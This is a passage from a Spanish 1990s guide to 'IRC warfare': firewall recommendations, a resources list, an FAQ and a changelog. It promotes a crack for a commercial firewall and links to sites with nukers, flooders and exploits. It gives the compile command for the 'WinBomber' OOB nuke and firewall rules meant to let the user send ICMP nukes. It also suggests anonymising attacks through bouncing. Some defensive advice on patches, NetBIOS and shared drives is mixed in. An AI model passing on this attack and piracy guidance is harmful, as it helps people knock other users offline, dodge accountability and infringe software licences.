¿Qué firewall es el mejor para nuestros propósitos? Deberíamos buscar algo a la vez flexible y simple (características que suelen ir enfrentadas; habrá que llegar a un compromiso entre las dos), que cumpla con nuestros requisitos de la forma más eficiente, funcione con nuestro modem o tarjeta de red y que sea lo más barato posible. La penúltima característica es muy importante ya que muchos firewalls no tienen soporte para modem y sólo funcionan con tarjeta de red, la cual no es habitual que se tenga si únicamente tenemos un ordenador conectado a Internet por PPP mediante algún ISP.
Hay diversas ofertas y no voy a tratarlas todas. Tan sólo aconsejaré unos cuantas y daré las razones que me han llevado a ello.
En Linux se puede usar el paquete "ipfwadm", que viene por defecto en la mayoría de distribuciones. Es un poco tedioso a la hora de configurar pero es totalmente gratuito.
Para Windows 95 la mayoría de usuarios optan por el "ConSeal PC fw", que es fácil de usar y que aunque es comercial se puede descargar de la web en versión demo y aplicarle el siguiente crack (v.1.0) para hacerlo totalmente operativo de forma gratuita. Advierto que el uso de cracks está penado por la ley (pero no el hecho de tenerlos). Ya que este crack está ampliamente difundido por la Red he pensado que no está de más facilitar la tarea de búsqueda a nuestros queridos lectores :-).
En Windows NT he tenido más problemas para buscar firewall, aunque al final... :-). El problema es que no se encuentran por ningún lado serials/cracks para los firewalls existentes o en caso de haberlos no soporta el uso de modem. Por nombrar algunos de los mejores y que creo que soportan modem tenemos:
- "Check
Point FireWall-1"
- "TIS
Gaunlet"
- "NetGuard
Guardian"
- "ConSeal
PC fw"
Por ahora no voy a
subir ningún programa a este servidor ya que puedes encontrar *TODO*
tipo de programas de IRC-War (icmp-nukers, bouncers,
flooders,
link-lookers,
port-listeners,
port-bombers,
port-scanners,
étc) en:
http://www.warforge.com/dos/index.html.
Podréis encontrar muchísimos scripts para mIRC y una sección interesante sobre el bot Eggdrop en: http://www.xcalibre.com.
Los últimos
exploits
y programas que explotan los bugs más recientes aparecen en:
http://www.rootshell.com.
http://www.insecure.org.
Como he visto que hay
interés por el tema del "DNS-Inject" y no estoy por la labor
de ampliar dicho apartado (perdonad la flojera: queda prometido para futuras
revisiones del doc., sources incluidos), os remito a un excelente
artículo sobre el tema:
http://hispahack.ccc.de/mi004.htm.
Una herramienta comercial
llamada "Aggressor", que permite
spoofear y lanzar multitud
de ataques (land, jolt, étc) desde Windows
la podeis ver en:
http://www.aggressor.net.
Más información
técnica sobre IRC (ataques, defensas y mucho más) -todo en
español- y con multitud de links en:
http://www.argo.es/~jcea/irc.
Todo sobre la red
Hispana de IRC (servidores, info, étc) en:
http://www.irc-hispano.org.
Por último me
gustaría recordar la "Home Page" de este documento, donde encontrareis
siempre la versión más reciente del mismo (es la que debeis
usar en vuestros enlaces). Esta es la página
oficial de "Tácticas de guerra en el IRC":
http://www.esi.us.es/~roman/tacticas.html
1.- ¿Qué script de guerra me aconsejas?
R.- Un script es simplemente algo para simplificar/automatizar tareas. Ningún script es realmente imprescindible tanto para atacar como para defenderse, aunque como digo, en algunos casos sí que puede facilitar la tarea. En este sentido no deberíamos preocuparnos tanto por el script que usamos, sino más bien de tener nuestro sistema correctamente parcheado y protegido y de estar al dia en programas/utils de guerra. Hoy en día (casi) todos los scripts cumplen perfectamente en cuanto a defensa se refiere. Para el ataque un script es tanto mejor cuanto más utilidades (=programas) traiga. Por si os sirve de algo yo uso el 7th Sphere 2.666, ya bastante anticuado, pero que me sigue valiendo casi como el primer día.
2.- ¿Cómo puedo compilar los programas que se listan en el artículo en mi Windows?
R.- Simple: NO puedes. Estos programas están escritos para entornos UNIX, así que solo podrás compilarlos y correrlos en sistemas operativos de esa familia (como por ejemplo, Linux). No obstante, en algunos casos hay versiones disponibles para otros sistemas operativos. Por ejemplo, cuando el ataque OOB se puso de moda surgieron diversas utilidades que lo implementaban desde Win95.
3.- ¿Y dónde puedo encontrar dichas utilidades?
R.- En la sección de "resources" hay una URL que es muy buena y donde podrás encontrar de todo. Otra opción es utilizar algún buscador y localizar alguna página de IRC-War. Los programas típicos se encuentran en la mayoría de estas páginas, por muy malas que sean. También puedes buscar webs de H/P/C/V; normalmente todo el material underground se encuentra focalizado en diversos puntos de la Red centrados ampliamente en esa temática. Quiero decir que donde hay cosas de Hacking suele haber también cosas de IRC-War, Phreaking, Virus, Cracking... en fin, todos esos temas que tanto nos atraen suelen estas relacionados :-).
4.- ¿Cómo detectar a alguien que me haga un nuke?
R.- Todos los paquetes que llegan a tu ordenador por el interface de red pueden ser logeados o "visualizados" con la herramienta correspondiente. Sin embargo, hay que tener en cuenta que estos paquetes pueden venir falseados (spoofeados) con lo cual la información que obtengamos no siempre es verídica. De hecho, esto es lo que ocurre con la mayoría de los últimos ataques, en los cuales siempre se usa spoof.
No obstante, un icmp-nuke
normal no suele venir spoofeado y se puede detectar fácilmente
(obviamente me estoy refiriendo a un client nuke; si el paquete
no te llegara a tí sino al servidor tú no te enterarías
de nada). Cualquier programa analizador de paquetes puede valernos. Valgan
como ejemplo:
- las propias funciones
de logeo que implementa "de casa" el dialer y pila TCP/IP "Trumpet Winsock"
(para los que conecten de esta forma, sin usar el dialup de Windows).
- idem para cualquier programa
firewall,
como el "Conseal".
- "tcpdump" o "sniff-it"
para UNIX.
- "ICMP Watch" para
Windows.
5.- ¿Puedo evitar los (client) icmp-nukes?
R.- Sí, solo tienes que filtrar los mensajes ICMP que te envíen. Esto lo puedes hacer con cualquier software firewall. En Win95 es bastante usado el Conseal.
6.- En la red xxxxxx hay un tío que siempre me está molestando y no deja de atacarme. ¿Puedes ayudarme?
R.- Si he escrito este documento es para ayudar a la gente y sobre todo, para que lo lea. :-P Así que usa la información que aquí se encuentra e intenta sacarle provecho por tí mismo en vez de pedir ayuda a terceros. No tengo tiempo para centrarme en casos particulares, a lo mejor ni siquiera conozco la red xxxxxx. Si tienes alguna duda contacta conmigo y si lo considero conveniente aparecerá solucionada en esta misma sección en la siguiente revisión del documento.
7.- ¿Cómo puedo garantizar mi anonimato en IRC? Actualmente he recibido e-mails con amenazas e insultos de gente de los canales que frecuento, ¿cómo puedo evitarlo?
R.- Una de las ventajas del IRC es precisamente que guarda el anonimato. Todos los datos que el servidor IRC tiene y puede ofrecer sobre un usuario dado son los que previamente uno ha introducido en su cliente IRC, a excepción de la dirección IP desde donde nos conectemos. Por tanto, podemos introducir datos falsos: nombre falso, dirección de correo falsa, étc. Lo único que en principio no se puede esconder es tu dirección IP, que la toma el servidor en el momento de hacer tu conexión TCP al servidor de IRC. Sin embargo, hasta esta última se puede esconder usando algunas de las técnicas descritas en este documento, como el bouncing o el DNS Inject, lo que nos haría completamente anónimos.
8.- El otro día entré en un canal y me dijeron que tenía el puerto 139 abierto... que podían resetearme... ¿Cómo lo puedo cerrar?
R.- Puedes tener el puerto 139 abierto sin que "te puedan resetear": es cuestión de tener el parche contra OOB instalado en tu sistema. De hecho, es un parche obligado. Además no solo es vulnerable el puerto 139. No obstante, si lo quieres cerrar, solo tienes que desinstalar el soporte Netbios (en la configuración de red). Sólo necesitas tener soporte TCP/IP para conectarte a Internet; todo lo demás sobra. Cuantos más servicios ofrezca una máquina más insegura y propensa a ser hackeada será. Hay que procurar abrir únicamente los servicios que realmente nos hagan falta.
9.- A un amigo le entraron en su Windows y le empezaron a borrar carpetas. ¿Cómo lo hicieron?
R.- Tendría archivos o unidades compartidas sin password. Windows 95, por defecto, no pone password a los recursos compartidos, lo que es un grave problema de seguridad. Si usas recursos compartidos, ¡no olvides poner un password! Y si no los usas pues ¡no los tengas activados! Para esto último basta con desactivar Netbios (una razón más para tener cerrado el puerto 139). De lo contrario, cualquiera podrá entrar en tu HD: leer lo que quiera, borrar ficheros, modificarlos... ¡Muy peligroso!
10.- ¿Se puede mandar ataques como land o jolt, o spoofear desde Windows?
R.- La pila TCP/IP que trae Windows tiene ciertas limitaciones que impiden, por ejemplo, el spoof. Sin embargo, hay un programa en fase de pruebas que puede spoofear y mandar muchos de estos ataques desde Windows. Lo hace implementando su propia pila TCP/IP y no usando las funciones de Winsock normales. Por ahora solo he visto una versión beta que únicamente funciona en Win95. Existe también una versión comercial o al menos estaba en desarrollo. El programa se llama "Aggressor" y teneis su URL en la sección de Resources.
11.- Me gustaría saber más sobre los K/G-Lines: en qué consisten, lo que tienes que hacer para que no te hagan uno...
R.- Simplemente es como un ban pero aplicado a hosts o dominios enteros. Es decir, si tu dirección IP o el dominio al que pertenece tienen alguna de estas lines no podrás conectarte a la red IRC, no te dejará. La diferencia entre un K-Line y un G-Line es que ésta última es global, o sea, que se aplica a todos los servidores de la red IRC y por tanto no habrá forma, en principio, de entrar a esa red IRC. Un K-Line se aplica a un servidor en particular de la red; es decir, que se nos deniega el acceso a la red IRC a través de ese servidor, lo que no implica que no se pueda entrar por cualquier otro. También es posible que una misma K-Line esté activa en distintos servidores a la vez (o incluso en todos, lo cual sería equivalente a una G-Line).
Estas lines se suelen poner como respuesta a abusos por parte de uno mismo o de algún otro usuario perteneciente a tu dominio y la duración de las mismas depende de la política que sigan los administradores de la red de IRC. Para evitarlo, lo único que hay que hacer es portarse bien o al menos ser suficiente bueno y que no te pillen mientras haces cosas malas };-).
12.- ¿Qué es una I-Line?
R.- Es una entrada en el fichero de configuración del ircd que permite variar el número de clones admisibles desde una determinada dirección IP o dominio. La añade un administrador del servidor IRC para por ejemplo permitir la entrada al IRC desde cybercafés (donde normalmente todos los ordenadores se ven como una misma dirección IP) o máquinas multiusuario (universidades, étc).
13.- ¿Qué es un script Perl?
R- Perl es un lenguaje de programación interpretado. Un script (a secas) es algo que automatiza tareas, una especie de programa (así tenemos scripts de IRC, de shell [Unix], étc). Un script Perl es un script de Unix que en vez de usar una shell para su ejecución usa el propio programa de Perl. En definitiva, se trata de un programa escrito para Perl.
14.- Do you have an English translation of this page?
A.- Not at this moment, I hope it will be available soon though. I'm looking for somebody to translate this doc since I'm very busy for doing it by myself.
15.- Tengo información sobre ataques / bugs / fixes que no se listan en este documento. ¿Puedo ayudar?
R.- Por supuesto. Este documento jamás estará 100% completo porque ni soy perfecto ni tengo todo el tiempo del mundo. Pero intentaré actualizarlo con la mayor frecuencia posible. Toda la ayuda y support que pueda recibir de parte vuestra serán bien acogidos. Puedes enviar tus comentarios a roman@deathsdoor.com.
16.- Me gustaría saber más acerca del "DNS inject". ¿Alguna idea?
R.- Sí, claro. Mira la URL dada en la sección "Resources" para una completa información acerca de su funcionamiento y posible puesta en marcha (desde un punto de vista práctico). De todas formas, creo oportuno decir que es una técnica bastante costosa de implementar y bastante desagradecida, ya que la mayoría de servidores de nombres (DNS) están ya parcheados (en particular, los relacionados con redes importantes de IRC).
17.- Acabo de instalar Windows 98. ¿También necesita parches, winsocks, étc? De momento le he renombrado el “vnbt.386” a bak, porque he visto que ese archivo sigue estando en W98.
R.- Mal hecho. Veamos. Un parche ("patch", en inglés) -como regla general- tiene un uso muy específico: va destinado a un S.O. o programa en particular, a una versión concreta del mismo y normalmente fixea (arregla) problemas también específicos. Así pues no puedes aplicar un parche sacado para Win95 a un Win98. Los resultados serían impredecibles; es más, casi con toda seguridad estropearías o empeorarías tu S.O. o al menos la parte afectada por el parche.
Un parche suele ser una especie de "chapuza" rápida para solventar algún problema encontrado. Cuando se descubre un bug, los autores del programa o S.O. son informados del mismo, estudian el problema y las formas de solucionarlo. Unas veces el bug es algo trivial y se arregla sin problemas: se saca un parche que será más o menos definitivo. Otras veces, cuando el bug es más "raro" o es menos común, la solución que sale en forma de parche no es algo definitivo sino temporal. Tras un periodo de pruebas ("testing") es fácil que saquen el mismo parche pero más actualizado, que viene a ser como una versión mejorada del parche original, al cual sustituye. También es posible que el nuevo parche se haya de aplicar sobre el parche anterior. Es importante leerse las "instrucciones" que acompañan a cada parche.
Cuando un parche está lo suficientemente probado y se le da el "visto bueno" pasa a formar parte del S.O. o programa, es decir, ya las nuevas versiones del mismo estarán fixeadas del correspondiente bug y el sistema habrá dejado de ser vulnerable al problema en cuestión (o al menos debería).
Según lo anterior, Win98 incorpora todos los parches importantes de Win95, claro está, anteriores a la fecha de lanzamiento de Win98. Si se descubre un nuevo bug que afecte a ambos S.O.'s, Microsoft debería de sacar dos parches: uno para cada S.O., y no serían intercambiables entre sí.
Lo mismo ocurre con la pila TCP/IP (Winsock): Win98 trae una versión más actualizada que Win95, como es lógico, por lo cual no vamos a cambiarla por una más antigua, ¿no? ;-)
Lo que todos estáis
deseando escuchar: Win98 *no* es vulnerable a ataques tan molestos
como ssping, land, teardrop, étc. Desde el
punto de vista de la seguridad es mucho mejor que
Win95; quizás
de las pocas cosas buenas que tiene. :-) Pero eso no quita que puedan salir
nuevos bugs, así que habrá que estar informado para
estar siempre al día con los últimos parches.
18.- ¿Cómo se configura el "Conseal PC Firewall"? ¿Podrías pasarme tu fichero de reglas?
R.- Para saber configurar un firewall hay que tener unos conocimientos mínimos sobre redes. Empieza por ahí. Mucha gente se instala el Conseal solo para evitar client-nukes, sin saber ni lo que es un firewall ni cómo funciona. Poco recomendable.
Mi fichero de reglas
("rules") es eso, mío. No lo paso porque no considero que
esté optimizado y que deba ser ejemplo a seguir. No quiero confundir
a nadie con mis posibles errores. Por dar algunas pistas, yo lo que hice
fue partir del fichero de reglas ("default.fwr"), que ya incluía
algunas protecciones como la de los nukes (al menos, a partir de la versión
1.2, que es la que yo ví). A partir de ahí ya le he ido añadiendo
nuevas reglas o modificando otras. En particular, yo he metido las siguientes
reglas para el tema de los nukes:
- denegar todos los icmp's
entrantes (cualquier tipo y de cualquier
host) como norma general
(ésta es la que venía ya por defecto, y es la regla más
segura).
- permitir todos los tipos
de icmp's entrantes *exclusivamente* a los servers de más
uso, como por ejemplo el de correo, news, étc. Si deniegas estos
icmp's
las operaciones como mandar o leer correo, news, étc. pueden verse
afectadas por la regla anterior y no funcionar correctamente. Además
te ahorras unos cuantos warnings y
beep's debidos a
los abundantes icmp's generados por estos hosts "de uso frecuente".
- permitir todos los
icmp's
salientes (cualquier tipo y hacia cualquier host). Esta regla ,
entre otras cosas, te permite mandar icmp-nukes (las reglas
originales no lo permitían).
19.- ¿Por qué no compila bien el source del OOB Nuke ("WinBomber 0.9") en algunos Linux'es?
R.- Este fuente es bastante viejo y está escrito para Libc5. Compila perfectamente en un Red Hat 4.2, por ejemplo. Sin embargo, los Linux de hoy en día ya no usan esta librería e incluso han cambiado includes y demás. La línea que dará error en un Linux moderno es:
#include <netinet/protocols.h>
ya que ahora no existe tal fichero. Pero esta linea *no* es necesaria y la podemos omitir (porque esta info se encuentra en otro archivo). Una vez borrada la linea, el source compilará sin problemas con el comando:
$ gcc -D_BSD_SOURCE -o winbomber winbomber.c
Nótese que el
modificador "-D_BSD_SOURCE" es *necesario* para compilar
todos los programas que contienen código para manejar
raw sockets
(necesario para el spoof) como el que viene en
Winbomber.c.
20.- ¿Cómo puedo saber la dirección IP y el Hostname de un usuario cuyo nick conozco?
R.- Para conseguir respuesta a preguntas tan triviales como ésta, lo mejor es que busqueis por la Red alguna guía o FAQ sobre mIRC. Sin que sirva de precedente, voy a contestar, dado el gran volumen de gente que me ha formulado la misma pregunta.
* Hostname: basta con hacer "/whois nick". Ejemplo: /whois RoMaNSoFt
RoMaNSoFt
is roman@bart.us.es * {##-InSuLToZ ReSe@rCh / TiGeR Te@M-##}
RoMaNSoFt
using irc.llfb.org Servidor de pruebas...
RoMaNSoFt
has been idle 10 seconds, signed on Thu May 13 16:11:42
End
of /WHOIS list.
* Dirección IP: "/dns nick" (desde mIRC). Ejemplo: /dns RoMaNSoFt
***
Looking up bart.us.es
-
***
Resolved bart.us.es to 193.147.160.132
Por razones en las
que no entraré, hay veces en las que al hacer /whois se nos
muestra directamente la dirección IP en lugar del hostname.
Esto ocurre cuando el servidor IRC no ha podido determinar el hostname,
a partir de la IP (cuando un servidor IRC recibe una conexión exterior
lo único que ve, en principio, es una dirección IP), o dicho
con otras palabras: "no ha podido resolver la IP" (normalmente será
debido a que el dominio del cliente no dispone de "resolución
inversa").
También me gustaría
saludar desde aquí a todos mis amigos y conocidos del IRC,
en especial a los canales #insultos,
#hack,
#hackers,
#hack_novatos, #amiga y #llfb de la red irc-hispano.
- Añadida esta sección.
:-)
- Mejor explicado lo del
"spanning
tree" (estructura de una red IRC).
- Añadido el concepto
de "hop".
- Añadidas un par
de URL's en la sección de "resources".
- Añadida sección
"técnicas avanzadas" incluyendo "bouncing" y "DNS
Inject".
- Añadidos diversos
fuentes
en C: ICMP nuke, OOB,
ssping,
bouncer, ...
- Añadidas direcciones
donde encontrar numerosos parches.
- Añadidas URL's
de referencia en la sección de "spoof".
- Añadidos nuevos
ataques: teardrop, land, teardrop modificado y smurf.
* Cambios en este documento en la versión 2.0:
- Variación de las
condiciones de distribución de este documento.
- Sustituido código
fuente de los diferentes programas por enlaces a los mismos (se han puesto
en ficheros independientes).
- Añadidos los ataques:
bonk,
syndrop, overdrop, nestea y hanson.
- Añadido cómo
"robar" un bouncer así como nuevo código de bouncer con soporte
de password.
- Añadida sección
"feedback (FAQ)", con las respuestas a las preguntas más
frecuentes formuladas al autor acerca de este documento.
- Añadida sección
"defensa", con algunos consejos generales para defendernos de distintos
ataques.
- Añadido apartado
"Wingate".
- Añadido concepto
de "i-line" en la sección introductoria.
- Añadida sección
"trojans".
- Añadido apartado
"recursos compartidos".
- Revisadas las distintas
secciones y ampliadas algunas con más info o algún link.
* Cambios en este documento en la versión 3.0:
- Añadido apartado
"Ping of death".
- Añadida sección
"Modem DoS", con los apartados "/Msg ComX" y "+++ATH0".
- Añadido source
"script.ini".
- Añadido apartado
"Back Orifice" en la sección de troyanos.
- Añadido apartado
"NetBus" en la sección de troyanos.
- Añadido RFC1459.
- Añadidos pequeños
cambios en la "FAQ" y en "Resources".
* Cambios en este documento en la versión 3.1:
- Minor fixes.
- Añadidos enlaces
a los distintos apartados del texto, desde el índice.
- Añadidos dos sites
con listas de redes "amplificadoras de smurf".
- Actualizada la FAQ.
* Cambios en este documento en la versión 3.2:
- Añadido ejemplo
práctico de bouncing, en la sección de Wingate
(5.2).
- Reformada completamente
la sección 3.14.2 sobre el troyano
"dmsetup.exe".
- Actualizada la FAQ.
También me gustaría recordar que el IRC no es un campo de batalla, y que no se debe atacar a la gente así porque así, salvo "en defensa propia" y pocos casos más justificados. O:-) En cualquier caso un ataque nunca está justificado desde el punto de vista de los ircops, así que cuidado con las K/G-lines ;-)
Se agradecería toda clase de comentarios y sugerencias para mejorar el documento: bug reports, asuntos que creáis no están bien explicados, temas que faltan y se deberían incluir, ..., y en definitiva todo lo que os gustaría que se incluyese en el documento. También se aceptan O-lines ;-).
Se rechazará estrictamente todo aquello que salga de la temática así como dudas personales. Si lo creo conveniente y las dudas son generalizadas las intentaré aclarar en posteriores revisiones de este documento (ver sección "Feedback") pero (y repito) no a nadie en particular. Teneis que comprender que no tengo todo el tiempo del mundo.
Podeis contactar con el autor de este escrito por email: roman@deathsdoor.com. O localizarme en el IRC hispano bajo el nick de RoMaNSoFt. Podeis consultar la web de la red Hispana de IRC para averiguar servidores por donde entrar (ver sección "Resources").
c'U l8er!!!!!